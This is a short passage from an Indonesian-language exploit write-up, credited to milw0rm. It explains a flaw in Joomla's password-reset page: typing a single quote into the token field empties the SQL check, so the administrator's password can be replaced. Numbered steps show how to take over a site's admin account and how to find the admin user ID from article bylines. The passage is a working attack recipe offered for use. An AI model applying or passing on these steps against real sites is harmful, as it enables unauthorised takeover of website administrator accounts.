return true;
}
################################################################################

Masukan karakter petik tunggal [ ' ] pada tanda {1}
Jika kita tekan enter maka query yg dihasilkan adalah :

"SELECT id FROM jos_users WHERE block = 0 AND activation = '' " tanda {3}

Contoh penggunaan kelemahan tersebut sebagai berikut:

1. target.com/index.php?option=com_user&view=reset&layout=confirm
2. Masukan karakter petik tunggal [ ' ] pada field token kemudian enter
3. Masukan password admin yang baru
4. Kemudian login di login page nya => target.com/administrator
5. Login dengan menggunakan password yang telah kita masukan sebelumnya

Kekurangan dari kelemahan ini adalah kita harus tau userID sang
administrator tersebut.Namun hal itu tidak masalah karenakita dapat
menemukan userID pada setiap artikel yang ditulis di site tersebut

Sumber: milw0rm.com